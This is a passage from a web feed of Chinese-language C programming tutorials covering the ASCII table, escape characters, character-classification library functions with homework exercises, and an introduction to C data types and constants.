			</td>
		</tr><tr><td>
				<p>
					50
				</p>
			</td>
			<td>
				<p>
					2
				</p>
			</td>
			<td>
				<p>
					2
				</p>
			</td>
		</tr><tr><td>
				<p>
					51
				</p>
			</td>
			<td>
				<p>
					3
				</p>
			</td>
			<td>
				<p>
					3
				</p>
			</td>
		</tr><tr><td>
				<p>
					52
				</p>
			</td>
			<td>
				<p>
					4
				</p>
			</td>
			<td>
				<p>
					4
				</p>
			</td>
		</tr><tr><td>
				<p>
					53
				</p>
			</td>
			<td>
				<p>
					5
				</p>
			</td>
			<td>
				<p>
					5
				</p>
			</td>
		</tr><tr><td>
				<p>
					54
				</p>
			</td>
			<td>
				<p>
					6
				</p>
			</td>
			<td>
				<p>
					6
				</p>
			</td>
		</tr><tr><td>
				<p>
					55
				</p>
			</td>
			<td>
				<p>
					7
				</p>
			</td>
			<td>
				<p>
					7
				</p>
			</td>
		</tr><tr><td>
				<p>
					56
				</p>
			</td>
			<td>
				<p>
					8
				</p>
			</td>
			<td>
				<p>
					8
				</p>
			</td>
		</tr><tr><td>
				<p>
					57
				</p>
			</td>
			<td>
				<p>
					9
				</p>
			</td>
			<td>
				<p>
					9
				</p>
			</td>
		</tr><tr><td>
				<p>
					58
				</p>
			</td>
			<td>
				<p>
					:
				</p>
			</td>
			<td>
				<p>
					冒号
				</p>
			</td>
		</tr><tr><td>
				<p>
					59
				</p>
			</td>
			<td>
				<p>
					;
				</p>
			</td>
			<td>
				<p>
					分号
				</p>
			</td>
		</tr><tr><td>
				<p>
					60
				</p>
			</td>
			<td>
				<p>
					&lt;
				</p>
			</td>
			<td>
				<p>
					小于
				</p>
			</td>
		</tr><tr><td>
				<p>
					61
				</p>
			</td>
			<td>
				<p>
					=
				</p>
			</td>
			<td>
				<p>
					等号
				</p>
			</td>
		</tr><tr><td>
				<p>
					62
				</p>
			</td>
			<td>
				<p>
					&gt;
				</p>
			</td>
			<td>
				<p>
					大于
				</p>
			</td>
		</tr><tr><td>
				<p>
					63
				</p>
			</td>
			<td>
				<p>
					?
				</p>
			</td>
			<td>
				<p>
					问号
				</p>
			</td>
		</tr><tr><td>
				<p>
					64
				</p>
			</td>
			<td>
				<p>
					@
				</p>
			</td>
			<td>
				<p>
					电子邮件符号
				</p>
			</td>
		</tr><tr><td>
				<p>
					65
				</p>
			</td>
			<td>
				<p>
					A
				</p>
			</td>
			<td>
				<p>
					大写字母 A
				</p>
			</td>
		</tr><tr><td>
				<p>
					66
				</p>
			</td>
			<td>
				<p>
					B
				</p>
			</td>
			<td>
				<p>
					大写字母 B
				</p>
			</td>
		</tr><tr><td>
				<p>
					67
				</p>
			</td>
			<td>
				<p>
					C
				</p>
			</td>
			<td>
				<p>
					大写字母 C
				</p>
			</td>
		</tr><tr><td>
				<p>
					68
				</p>
			</td>
			<td>
				<p>
					D
				</p>
			</td>
			<td>
				<p>
					大写字母 D
				</p>
			</td>
		</tr><tr><td>
				<p>
					69
				</p>
			</td>
			<td>
				<p>
					E
				</p>
			</td>
			<td>
				<p>
					大写字母 E
				</p>
			</td>
		</tr><tr><td>
				<p>
					70
				</p>
			</td>
			<td>
				<p>
					F
				</p>
			</td>
			<td>
				<p>
					大写字母 F
				</p>
			</td>
		</tr><tr><td>
				<p>
					71
				</p>
			</td>
			<td>
				<p>
					G
				</p>
			</td>
			<td>
				<p>
					大写字母 G
				</p>
			</td>
		</tr><tr><td>
				<p>
					72
				</p>
			</td>
			<td>
				<p>
					H
				</p>
			</td>
			<td>
				<p>
					大写字母 H
				</p>
			</td>
		</tr><tr><td>
				<p>
					73
				</p>
			</td>
			<td>
				<p>
					I
				</p>
			</td>
			<td>
				<p>
					大写字母 I
				</p>
			</td>
		</tr><tr><td>
				<p>
					74
				</p>
			</td>
			<td>
				<p>
					J
				</p>
			</td>
			<td>
				<p>
					大写字母 J
				</p>
			</td>
		</tr><tr><td>
				<p>
					75
				</p>
			</td>
			<td>
				<p>
					K
				</p>
			</td>
			<td>
				<p>
					大写字母 K
				</p>
			</td>
		</tr><tr><td>
				<p>
					76
				</p>
			</td>
			<td>
				<p>
					L
				</p>
			</td>
			<td>
				<p>
					大写字母 L
				</p>
			</td>
		</tr><tr><td>
				<p>
					77
				</p>
			</td>
			<td>
				<p>
					M
				</p>
			</td>
			<td>
				<p>
					大写字母 M
				</p>
			</td>
		</tr><tr><td>
				<p>
					78
				</p>
			</td>
			<td>
				<p>
					N
				</p>
			</td>
			<td>
				<p>
					大写字母 N
				</p>
			</td>
		</tr><tr><td>
				<p>
					79
				</p>
			</td>
			<td>
				<p>
					O
				</p>
			</td>
			<td>
				<p>
					大写字母 O
				</p>
			</td>
		</tr><tr><td>
				<p>
					80
				</p>
			</td>
			<td>
				<p>
					P
				</p>
			</td>
			<td>
				<p>
					大写字母 P
				</p>
			</td>
		</tr><tr><td>
				<p>
					81
				</p>
			</td>
			<td>
				<p>
					Q
				</p>
			</td>
			<td>
				<p>
					大写字母 Q
				</p>
			</td>
		</tr><tr><td>
				<p>
					82
				</p>
			</td>
			<td>
				<p>
					R
				</p>
			</td>
			<td>
				<p>
					大写字母 R
				</p>
			</td>
		</tr><tr><td>
				<p>
					83
				</p>
			</td>
			<td>
				<p>
					S
				</p>
			</td>
			<td>
				<p>
					大写字母 S
				</p>
			</td>
		</tr><tr><td>
				<p>
					84
				</p>
			</td>
			<td>
				<p>
					T
				</p>
			</td>
			<td>
				<p>
					大写字母 T
				</p>
			</td>
		</tr><tr><td>
				<p>
					85
				</p>
			</td>
			<td>
				<p>
					U
				</p>
			</td>
			<td>
				<p>
					大写字母 U
				</p>
			</td>
		</tr><tr><td>
				<p>
					86
				</p>
			</td>
			<td>
				<p>
					V
				</p>
			</td>
			<td>
				<p>
					大写字母 V
				</p>
			</td>
		</tr><tr><td>
				<p>
					87
				</p>
			</td>
			<td>
				<p>
					W
				</p>
			</td>
			<td>
				<p>
					大写字母 W
				</p>
			</td>
		</tr><tr><td>
				<p>
					88
				</p>
			</td>
			<td>
				<p>
					X
				</p>
			</td>
			<td>
				<p>
					大写字母 X
				</p>
			</td>
		</tr><tr><td>
				<p>
					89
				</p>
			</td>
			<td>
				<p>
					Y
				</p>
			</td>
			<td>
				<p>
					大写字母 Y
				</p>
			</td>
		</tr><tr><td>
				<p>
					90
				</p>
			</td>
			<td>
				<p>
					Z
				</p>
			</td>
			<td>
				<p>
					大写字母 Z
				</p>
			</td>
		</tr><tr><td>
				<p>
					91
				</p>
			</td>
			<td>
				<p>
					[
				</p>
			</td>
			<td>
				<p>
					左中括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					92
				</p>
			</td>
			<td>
				<p>
					\
				</p>
			</td>
			<td>
				<p>
					反斜杠
				</p>
			</td>
		</tr><tr><td>
				<p>
					93
				</p>
			</td>
			<td>
				<p>
					]
				</p>
			</td>
			<td>
				<p>
					右中括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					94
				</p>
			</td>
			<td>
				<p>
					^
				</p>
			</td>
			<td>
				<p>
					音调符号
				</p>
			</td>
		</tr><tr><td>
				<p>
					95
				</p>
			</td>
			<td>
				<p>
					_
				</p>
			</td>
			<td>
				<p>
					下划线
				</p>
			</td>
		</tr><tr><td>
				<p>
					96
				</p>
			</td>
			<td>
				<p>
					`
				</p>
			</td>
			<td>
				<p>
					重音符
				</p>
			</td>
		</tr><tr><td>
				<p>
					97
				</p>
			</td>
			<td>
				<p>
					a
				</p>
			</td>
			<td>
				<p>
					小写字母 a
				</p>
			</td>
		</tr><tr><td>
				<p>
					98
				</p>
			</td>
			<td>
				<p>
					b
				</p>
			</td>
			<td>
				<p>
					小写字母 b
				</p>
			</td>
		</tr><tr><td>
				<p>
					99
				</p>
			</td>
			<td>
				<p>
					c
				</p>
			</td>
			<td>
				<p>
					小写字母 c
				</p>
			</td>
		</tr><tr><td>
				<p>
					100
				</p>
			</td>
			<td>
				<p>
					d
				</p>
			</td>
			<td>
				<p>
					小写字母 d
				</p>
			</td>
		</tr><tr><td>
				<p>
					101
				</p>
			</td>
			<td>
				<p>
					e
				</p>
			</td>
			<td>
				<p>
					小写字母 e
				</p>
			</td>
		</tr><tr><td>
				<p>
					102
				</p>
			</td>
			<td>
				<p>
					f
				</p>
			</td>
			<td>
				<p>
					小写字母 f
				</p>
			</td>
		</tr><tr><td>
				<p>
					103
				</p>
			</td>
			<td>
				<p>
					g
				</p>
			</td>
			<td>
				<p>
					小写字母 g
				</p>
			</td>
		</tr><tr><td>
				<p>
					104
				</p>
			</td>
			<td>
				<p>
					h
				</p>
			</td>
			<td>
				<p>
					小写字母 h
				</p>
			</td>
		</tr><tr><td>
				<p>
					105
				</p>
			</td>
			<td>
				<p>
					i
				</p>
			</td>
			<td>
				<p>
					小写字母 i
				</p>
			</td>
		</tr><tr><td>
				<p>
					106
				</p>
			</td>
			<td>
				<p>
					j
				</p>
			</td>
			<td>
				<p>
					小写字母 j
				</p>
			</td>
		</tr><tr><td>
				<p>
					107
				</p>
			</td>
			<td>
				<p>
					k
				</p>
			</td>
			<td>
				<p>
					小写字母 k
				</p>
			</td>
		</tr><tr><td>
				<p>
					108
				</p>
			</td>
			<td>
				<p>
					l
				</p>
			</td>
			<td>
				<p>
					小写字母 l
				</p>
			</td>
		</tr><tr><td>
				<p>
					109
				</p>
			</td>
			<td>
				<p>
					m
				</p>
			</td>
			<td>
				<p>
					小写字母 m
				</p>
			</td>
		</tr><tr><td>
				<p>
					110
				</p>
			</td>
			<td>
				<p>
					n
				</p>
			</td>
			<td>
				<p>
					小写字母 n
				</p>
			</td>
		</tr><tr><td>
				<p>
					111
				</p>
			</td>
			<td>
				<p>
					o
				</p>
			</td>
			<td>
				<p>
					小写字母 o
				</p>
			</td>
		</tr><tr><td>
				<p>
					112
				</p>
			</td>
			<td>
				<p>
					p
				</p>
			</td>
			<td>
				<p>
					小写字母 p
				</p>
			</td>
		</tr><tr><td>
				<p>
					113
				</p>
			</td>
			<td>
				<p>
					q
				</p>
			</td>
			<td>
				<p>
					小写字母 q
				</p>
			</td>
		</tr><tr><td>
				<p>
					114
				</p>
			</td>
			<td>
				<p>
					r
				</p>
			</td>
			<td>
				<p>
					小写字母 r
				</p>
			</td>
		</tr><tr><td>
				<p>
					115
				</p>
			</td>
			<td>
				<p>
					s
				</p>
			</td>
			<td>
				<p>
					小写字母 s
				</p>
			</td>
		</tr><tr><td>
				<p>
					116
				</p>
			</td>
			<td>
				<p>
					t
				</p>
			</td>
			<td>
				<p>
					小写字母 t
				</p>
			</td>
		</tr><tr><td>
				<p>
					117
				</p>
			</td>
			<td>
				<p>
					u
				</p>
			</td>
			<td>
				<p>
					小写字母 u
				</p>
			</td>
		</tr><tr><td>
				<p>
					118
				</p>
			</td>
			<td>
				<p>
					v
				</p>
			</td>
			<td>
				<p>
					小写字母 v
				</p>
			</td>
		</tr><tr><td>
				<p>
					119
				</p>
			</td>
			<td>
				<p>
					w
				</p>
			</td>
			<td>
				<p>
					小写字母 w
				</p>
			</td>
		</tr><tr><td>
				<p>
					120
				</p>
			</td>
			<td>
				<p>
					x
				</p>
			</td>
			<td>
				<p>
					小写字母 x
				</p>
			</td>
		</tr><tr><td>
				<p>
					121
				</p>
			</td>
			<td>
				<p>
					y
				</p>
			</td>
			<td>
				<p>
					小写字母 y
				</p>
			</td>
		</tr><tr><td>
				<p>
					122
				</p>
			</td>
			<td>
				<p>
					z
				</p>
			</td>
			<td>
				<p>
					小写字母 z
				</p>
			</td>
		</tr><tr><td>
				<p>
					123
				</p>
			</td>
			<td>
				<p>
					{
				</p>
			</td>
			<td>
				<p>
					左大括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					124
				</p>
			</td>
			<td>
				<p>
					|
				</p>
			</td>
			<td>
				<p>
					垂直线
				</p>
			</td>
		</tr><tr><td>
				<p>
					125
				</p>
			</td>
			<td>
				<p>
					}
				</p>
			</td>
			<td>
				<p>
					右大括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					126
				</p>
			</td>
			<td>
				<p>
					~
				</p>
			</td>
			<td>
				<p>
					波浪号
				</p>
			</td>
		</tr><tr><td>
				<p>
					127
				</p>
			</td>
			<td>
				 
			</td>
			<td>
				<p>
					删除
				</p>
			</td>
		</tr></tbody></table><h2>
	<strong>3、转义字符</strong>
</h2>

<p>
	对于 ASCII 编码，0~31（十进制）范围内的字符为控制字符，它们都是看不见的，不能在显示器上显示，甚至无法从键盘输入，只能用转义字符的形式来表示。
</p>

<p>
	不过，直接使用 ASCII 码记忆不方便，也不容易理解，所以，针对常用的控制字符，C语言又定义了简写方式，完整的列表如下：
</p>

<table border="1" cellspacing="0"><tbody><tr><td>
				<p>
					<strong>转义字符</strong>
				</p>
			</td>
			<td>
				<p>
					<strong>意义</strong>
				</p>
			</td>
			<td>
				<p>
					<strong>ASCII</strong><strong>码值</strong>
				</p>
			</td>
			<td>
				<p>
					<strong>使用频率</strong>
				</p>
			</td>
		</tr><tr><td>
				<p>
					\n
				</p>
			</td>
			<td>
				<p>
					换行(LF) ，将当前位置移到下一行开头。
				</p>
			</td>
			<td>
				<p>
					10
				</p>
			</td>
			<td>
				<p>
					每天都用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\'
				</p>
			</td>
			<td>
				<p>
					单引号。
				</p>
			</td>
			<td>
				<p>
					39
				</p>
			</td>
			<td>
				<p>
					常用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\"
				</p>
			</td>
			<td>
				<p>
					双引号。
				</p>
			</td>
			<td>
				<p>
					34
				</p>
			</td>
			<td>
				<p>
					常用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\\
				</p>
			</td>
			<td>
				<p>
					反斜杠。
				</p>
			</td>
			<td>
				<p>
					92
				</p>
			</td>
			<td>
				<p>
					常用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\r
				</p>
			</td>
			<td>
				<p>
					回车(CR)
				</p>
			</td>
			<td>
				<p>
					13
				</p>
			</td>
			<td>
				<p>
					不常用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\t
				</p>
			</td>
			<td>
				<p>
					水平制表(HT) 。
				</p>
			</td>
			<td>
				<p>
					9
				</p>
			</td>
			<td>
				<p>
					从未使用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\v
				</p>
			</td>
			<td>
				<p>
					垂直制表(VT)。
				</p>
			</td>
			<td>
				<p>
					11
				</p>
			</td>
			<td>
				<p>
					从未使用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\a
				</p>
			</td>
			<td>
				<p>
					响铃(BEL)。
				</p>
			</td>
			<td>
				<p>
					7
				</p>
			</td>
			<td>
				<p>
					从未使用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\b
				</p>
			</td>
			<td>
				<p>
					退格(BS) ，将当前位置移到前一列。
				</p>
			</td>
			<td>
				<p>
					8
				</p>
			</td>
			<td>
				<p>
					从未使用
				</p>
			</td>
		</tr><tr><td>
				<p>
					\f
				</p>
			</td>
			<td>
				<p>
					换页(FF)，将当前位置移到下页开头。
				</p>
			</td>
			<td>
				<p>
					12
				</p>
			</td>
			<td>
				<p>
					从未使用
				</p>
			</td>
		</tr></tbody></table><p>
	\n是最常用的转义字符，表示换行，让文本从下一行的开头输出，前面的章节中已经多次使用。
</p>

<p>
	\r\n用于windows平台DOS格式文件的换行。
</p>

<p>
	单引号、双引号、反斜杠是特殊的字符，不能直接表示。
</p>

<p>
	单引号是字符类型的开头和结尾，要使用\'表示。
</p>

<p>
	双引号是字符串的开头和结尾，要使用\"表示。
</p>

<p>
	反斜杠是转义字符的开头，要使用<a rel="">\\表示</a>。
</p>

<p>
	 
</p>

<p>
	<strong>示例（book68.c）</strong>
</p>

<p>
	<img alt="?i=2019080320125290.png?,type_ZmFuZ3poZW" data-ratio="84.23" height="438" width="520" src="https://www.icode9.com/i/ll/?i=2019080320125290.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1Y3oxMjIxNDA3Mjk=,size_16,color_FFFFFF,t_70" loading="lazy"></p>

<p>
	 
</p>

<p>
	<strong>运行结果</strong>
</p>

<p>
	<img alt="?i=2019080320130338.png" data-ratio="30.44" height="130" width="427" src="https://www.icode9.com/i/ll/?i=2019080320130338.png" loading="lazy"></p>

<p>
	 
</p>

<h1>
	<strong>字符就是整数</strong>
</h1>

<p>
	字符和整数没有本质的区别。可以给 char 变量一个字符，也可以给它一个整数；反过来，可以给 int 变量一个整数，也可以给它一个字符。
</p>

<p>
	char 变量在内存中存储的是字符对应的 ASCII 码值。如果以 %c 输出，会根据 ASCII 码表转换成对应的字符，如果以 %d 输出，那么还是整数。
</p>

<p>
	int 变量在内存中存储的是整数本身，如果以 %c 输出时，也会根据 ASCII 码表转换成对应的字符。
</p>

<p>
	也就是说，ASCII 码表将整数和字符关联起来了。
</p>

<p>
	char类型占内存一个字节，signed char取值范围是-128-127，unsigned char取值范围是0-255。
</p>

<p>
	描述再准确一些，在char的取值范围内（0-255），字符和整数没有本质区别。
</p>

<p>
	<strong>示例（book67.c）</strong>
</p>

<p>
	<img alt="?i=20190803201321384.png?,type_ZmFuZ3poZ" data-ratio="139.12" height="569" width="409" src="https://www.icode9.com/i/ll/?i=20190803201321384.png?,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1Y3oxMjIxNDA3Mjk=,size_16,color_FFFFFF,t_70" loading="lazy"></p>

<p>
	 
</p>

<p>
	运行结果
</p>

<p>
	<img alt="?i=20190803201331522.png" data-ratio="32.33" height="129" width="399" src="https://www.icode9.com/i/ll/?i=20190803201331522.png" loading="lazy"></p>

<p>
	 
</p>

<p>
	在ASCII码表中，E、F、G、H 的值分别是 69、70、71、72。
</p>

<h1>
	<strong>常用的库函数</strong>
</h1>

<p>
	以下是常用的字符函数，必须掌握。
</p>

<p>
	int isalpha(int ch);  若ch是字母（'A'-'Z','a'-'z'）返回非0值，否则返回0。
</p>

<p>
	int isalnum(int ch);  若ch是字母（'A'-'Z','a'-'z'）或数字（'0'-'9'），返回非0值,否则返回0。
</p>

<p>
	int isdigit(int ch);   若ch是数字（'0'-'9'）返回非0值，否则返回0。
</p>

<p>
	int islower(int ch);  若ch是小写字母（'a'-'z'）返回非0值，否则返回0。
</p>

<p>
	int isupper(int ch);  若ch是大写字母（'A'-'Z'）返回非0值，否则返回0。
</p>

<p>
	int tolower(int ch);  若ch是大写字母（'A'-'Z'）返回相应的小写字母（'a'-'z'）。
</p>

<p>
	int toupper(int ch);  若ch是小写字母（'a'-'z'）返回相应的大写字母（'A'-'Z'）
</p>

<p>
	以下是不常用的字符函数，极少使用，了解即可。
</p>

<p>
	int isascii(int ch);  若ch是字符（ASCII码中的0-127）返回非0值，否则返回0。
</p>

<p>
	int iscntrl(int ch);  若ch是作废字符（0x7F）或普通控制字符（0x00-0x1F），返回非0值，否则返回0。
</p>

<p>
	int isprint(int ch);  若ch是可打印字符（含空格）（0x20-0x7E）返回非0值，否则返回0。
</p>

<p>
	int ispunct(int ch);  若ch是标点字符（0x00-0x1F）返回非0值，否则返回0。
</p>

<p>
	int isspace(int ch);  若ch是空格（' '），水平制表符（'/t'）,回车符（'/r'），走纸换行（'/f'），垂直制表符（'/v'），换行符（'/n'），返回非0值，否则返回0。
</p>

<p>
	int isxdigit(int ch); 若ch是16进制数（'0'-'9','A'-'F','a'-'f'）返回非0值，否则返回0。
</p>

<h1>
	<strong>课后作业</strong>
</h1>

<p>
	1、研究ascii码表，重点关心几个问题：
</p>

<p>
	1）字母'A'-'Z'、'a'-'z'和数字'0'-'9'的ascii码值是不是连续的？
</p>

<p>
	2）字母'A'和'a'、'Z'和'z'的ascii码值的差是多少？
</p>

<p>
	2、根据上面的研究结果，自己编写函数，实现字符操作常用的库函数的功能，函数的声明如下：
</p>

<p>
	int ISALPHA(int ch);    // 若ch是字母（'A'-'Z','a'-'z'）返回非0值，否则返回0。
</p>

<p>
	int ISALNUM(int ch);   // 若ch是字母（'A'-'Z','a'-'z'）或数字（'0'-'9'），返回非0值,否则返回0。
</p>

<p>
	int ISDIGIT(int ch);     // 若ch是数字（'0'-'9'）返回非0值，否则返回0。
</p>

<p>
	int ISLOWER(int ch);   // 若ch是小写字母（'a'-'z'）返回非0值，否则返回0。
</p>

<p>
	int ISUPPER(int ch);    // 若ch是大写字母（'A'-'Z'）返回非0值，否则返回0。
</p>

<p>
	int TOLOWER(int ch);  // 若ch是大写字母（'A'-'Z'）返回相应的小写字母（'a'-'z'）。
</p>

<p>
	int TOUPPER(int ch);   // 若ch是小写字母（'a'-'z'）返回相应的大写字母（'A'-'Z'）
</p>

<p>
	 
</p>

<p>
	3、自定义一个函数，函数名是ctoi，利用ASCII码的运算，把字符的'0'、'1'、'2'、'3'、'4'、'5'、'6'、'7'、'8'、'9'转换为整数的0、1、2、3、4、5、6、7、8、9。函数的声明如下：
</p>

<p>
	int ctoi(const char chr);
</p>

<p>
	chr为用字符方式表示的数字，函数的返回值为数字的整数。
</p>

<p>
	提示：不允许用if和switch语句，只能用ASCII码运算。
</p>

<p>
	调用示例：
</p>

<p>
	printf("'0' is %d\n",ctoi('0'));    // 输出结果是'0' is 0
</p>

<p>
	printf("'9' is %d\n",ctoi('9'));    // 输出结果是'9' is 9
</p>

<p>
	4、编写示例程序，测试char和unsigned char赋值超过取值范围的后果。
</p>
]]></description><guid isPermaLink="false">309</guid><pubDate>Sat, 15 Oct 2022 21:11:30 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x2014;&#x2014;&#x6570;&#x636E;&#x7C7B;&#x578B;</title><link>https://www.hackhat.org/Hacker-topic/308.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	数据类型
</p>

<p>
	Day1
</p>

<p>
	0、
</p>

<p>
	计算机只是一个工具，计算的工具，通过计算来帮我们解决问题
</p>

<p>
	计算机保存问题中数据？
</p>

<p>
	先保存问题的抽象数据，然后再对抽象数据进行某一种运算
</p>

<p>
	运算后就能得到一个结果，数据应该怎么去保存？
</p>

<p>
	数据有什么属性：
</p>

<p>
	大小
</p>

<p>
	整数/小数
</p>

<p>
	....
</p>

<p>
	这些属性我们就是通过数据类型来体现。
</p>

<p>
	 
</p>

<p>
	1、C语言的数据类型
</p>

<p>
	有四大数据类型：
</p>

<p>
	(1)基本数据类型
</p>

<p>
	C语言已经帮我们定义好了，我们就能直接拿过来使用
</p>

<p>
	整型数据：用来保存整数
</p>

<p>
	short [int] //短整型
</p>

<p>
	int //整型
</p>

<p>
	long [int] //长整型
</p>

<p>
	long long [int] //长长整型
</p>

<p>
	为什么非要分这么多类？
</p>

<p>
	表示的数据大小范围不一样
</p>

<p>
	1字节 = 8bit
</p>

<p>
	short “一般”来讲 占2字节
</p>

<p>
	int “一般”来讲 占4字节
</p>

<p>
	long “一般”来讲 占4字节
</p>

<p>
	long long “一般”来讲 占8字节
</p>

<p>
	“一般” 是指不一定就是这么多，和所用使用的机器有关
</p>

<p>
	“一般” 是指32位机器下
</p>

<p>
	如果记不住怎么办？
</p>

<p>
	提供了一个关键字 ---&gt; sizeof 求一个对象的所占字节数
</p>

<p>
	unsigned / signed
</p>

<p>
	表示 无符号 / 有符号(默认有符号)
</p>

<p>
	0 1 代表高低电平
</p>

<p>
	无符号：所有的bit位都是数据位
</p>

<p>
	有符号：最高bit位代表是符号，其余位是数据位
</p>

<p>
	0代表是正数，1代表的是负数
</p>

<p>
	unsigned short 无符号短整型
</p>

<p>
	(signed) short 有符号短整型
</p>

<p>
	unsigned int 无符号整型
</p>

<p>
	(signed) int 有符号整型
</p>

<p>
	unsigned long 无符号长整型
</p>

<p>
	(signed) long 有符号长整型
</p>

<p>
	unsigned long long 无符号长长整型
</p>

<p>
	(signed) long long 有符号长长整型
</p>

<p>
	字符型：用来保存字符的
</p>

<p>
	char: 在任何机器上面都是1字节，8bit
</p>

<p>
	unsigned char / signed char
</p>

<p>
	 
</p>

<p>
	浮点型(实型)：用来保存小数
</p>

<p>
	单精度浮点型：
</p>

<p>
	float 占4字节
</p>

<p>
	双精度浮点型：
</p>

<p>
	double 占8字节
</p>

<p>
	long double 占16字节(64位)
</p>

<p>
	 
</p>

<p>
	格式说明 由“%” + 格式符号
</p>

<p>
	d --&gt; 整型
</p>

<p>
	ld --&gt; 长整型
</p>

<p>
	o --&gt; 8进制
</p>

<p>
	u --&gt; 无符号整型
</p>

<p>
	c --&gt; 字符(单)
</p>

<p>
	s --&gt; 字符串
</p>

<p>
	f --&gt; 实数
</p>

<p>
	(2)构造类型： 需要我们自己去定义
</p>

<p>
	数组：
</p>

<p>
	数据类型 数组名[数组元素个数]
</p>

<p>
	结构体
</p>

<p>
	共用体
</p>

<p>
	枚举
</p>

<p>
	(3)指针类型
</p>

<p>
	(4)空类型 void
</p>

<p>
	void 在C语言有三个地方会用
</p>

<p>
	1、void func()
</p>

<p>
	{
</p>

<p>
	}
</p>

<p>
	作为函数的返回值
</p>

<p>
	2、int main(void)
</p>

<p>
	{
</p>

<p>
	}
</p>

<p>
	作为函数参数，代表函数不需要参数，可省略
</p>

<p>
	3、void *
</p>

<p>
	通用指针类型
</p>

<p>
	C语言中 数据 按照是否可以被修改(是否可写)分为两种：
</p>

<p>
	不可修改： 常量
</p>

<p>
	可被修改： 变量
</p>

<p>
	2、常量
</p>

<p>
	在程序在运行的过程中，不可以改变它的值。
</p>

<p>
	常量也分为多类：
</p>

<p>
	(1)整型的常量
</p>

<p>
	在代码中的一个体现 由一串数字组成(整数)
</p>

<p>
	以0开头的，默认就是八进制： 0[0-7][0-7].....
</p>

<p>
	0123
</p>

<p>
	0145
</p>

<p>
	0789 //不是一个8进制
</p>

<p>
	以0x/0X开头的，默认位十六进制：0x[0-9a-f][0-9a-f]...
</p>

<p>
	0xa
</p>

<p>
	0xf
</p>

<p>
	0x12
</p>

<p>
	...
</p>

<p>
	其他的就是十进制
</p>

<p>
	123 没有后缀，默认int
</p>

<p>
	123l 有后缀l，就是long
</p>

<p>
	为什么没有二进制？
</p>

<p>
	二进制写起来太长了,其次就是转换起来简单
</p>

<p>
	0 1 2 3
</p>

<p>
	01 010 011
</p>

<p>
	01 111 111 101
</p>

<p>
	01 7 7 5
</p>

<p>
	0x 1 2 3
</p>

<p>
	0001 0010 0011
</p>

<p>
	0110 1100 1101 1111
</p>

<p>
	转换成 八进制、十进制、十六进制
</p>

<p>
	八进制：066337
</p>

<p>
	十进制：6 * 8^4 + 6 * 8^3 + 3 * 8^2 + 3 * 8 + 7 = 27871
</p>

<p>
	十六进制：0x6cdf
</p>

<p>
	(2)字符常量：
</p>

<p>
	在C语言中用''引起来的一个或者多个字符序列
</p>

<p>
	如 'a'、'3'
</p>

<p>
	在计算机中保存的时候，不是字面上形状的保存
</p>

<p>
	而是保存了对应字符的 ascii 码
</p>

<p>
	ascii 码：把一个字符对应一个数字，该数字我们称为该字符的ascii码
</p>

<p>
	Oct Dec Hex Char Oct Dec Hex Char
</p>

<p>
	────────────────────────────────────────────────────────────────────────
</p>

<p>
	000 0 00 NUL '\0' (null character) 100 64 40 @
</p>

<p>
	001 1 01 SOH (start of heading) 101 65 41 A
</p>

<p>
	002 2 02 STX (start of text) 102 66 42 B
</p>

<p>
	003 3 03 ETX (end of text) 103 67 43 C
</p>

<p>
	004 4 04 EOT (end of transmission) 104 68 44 D
</p>

<p>
	005 5 05 ENQ (enquiry) 105 69 45 E
</p>

<p>
	006 6 06 ACK (acknowledge) 106 70 46 F
</p>

<p>
	007 7 07 BEL '\a' (bell) 107 71 47 G
</p>

<p>
	010 8 08 BS '\b' (backspace) 110 72 48 H
</p>

<p>
	011 9 09 HT '\t' (horizontal tab) 111 73 49 I
</p>

<p>
	012 10 0A LF '\n' (new line) 112 74 4A J
</p>

<p>
	 
</p>

<p>
	101 65 41 A
</p>

<p>
	141 97 61 a
</p>

<p>
	060 48 30 0
</p>

<p>
	字符：分为两种
</p>

<p>
	普通字符：在打印的时候是可以显示形状的字符
</p>

<p>
	printf("%c\n",'A');
</p>

<p>
	转义字符：打印的时候没有形状，但是有特殊的含义
</p>

<p>
	'\t' --&gt; 制表符(tab)
</p>

<p>
	'\n' --&gt; 换行
</p>

<p>
	'\0' --&gt; 字符串结束符，空字符
</p>

<p>
	'\***':由'\'后面接一个、两个或者三个八进制数组成
</p>

<p>
	这些八进制的数字用来指定一个所期望的字符
</p>

<p>
	'\107' --&gt; 'G'
</p>

<p>
	'\x**':由'\x'后面接一个或者两个十六进制数组成
</p>

<p>
	这些十六进制的数字用来指定一个所期望的字符
</p>

<p>
	'\x41' --&gt; 'A'
</p>

<p>
	(3)浮点常量
</p>

<p>
	后缀可以是 f/F l/L
</p>

<p>
	f/F --&gt; float
</p>

<p>
	l/L --&gt; long double
</p>

<p>
	如果没有后缀，默认它是double
</p>

<p>
	C语言中小数默认都是double
</p>

<p>
	1.23f --&gt; float
</p>

<p>
	1.23 --&gt; double
</p>

<p>
	0.12 .12 整数部分为0可以省略
</p>

<p>
	12.0 12. 小数部分为0可以省略
</p>

<p>
	科学计数法：
</p>

<p>
	由整数部分，小数点，小数部分，一个e/E，一个可选带符号的整型
</p>

<p>
	1234.5678 --&gt; 1.2345678 * 10^3 --&gt; 1.2345678e3
</p>

<p>
	0.001234 --&gt; 1.234 * 10^-3 --&gt; 1.234E-3
</p>

<p>
	(4)枚举常量(后面解释)
</p>

<p>
	(5)符号常量
</p>

<p>
	#define N 3.14
</p>

<p>
	如果使用N，自动替换成 3.14
</p>

<p>
	为了修改方便，并且不会改变其他的实际需要用的数值
</p>

<p>
	 
</p>

<p>
	Day2
</p>

<p>
	一、变量
</p>

<p>
	定义：在程序运行期间，它的值可以被改变，被修改。
</p>

<p>
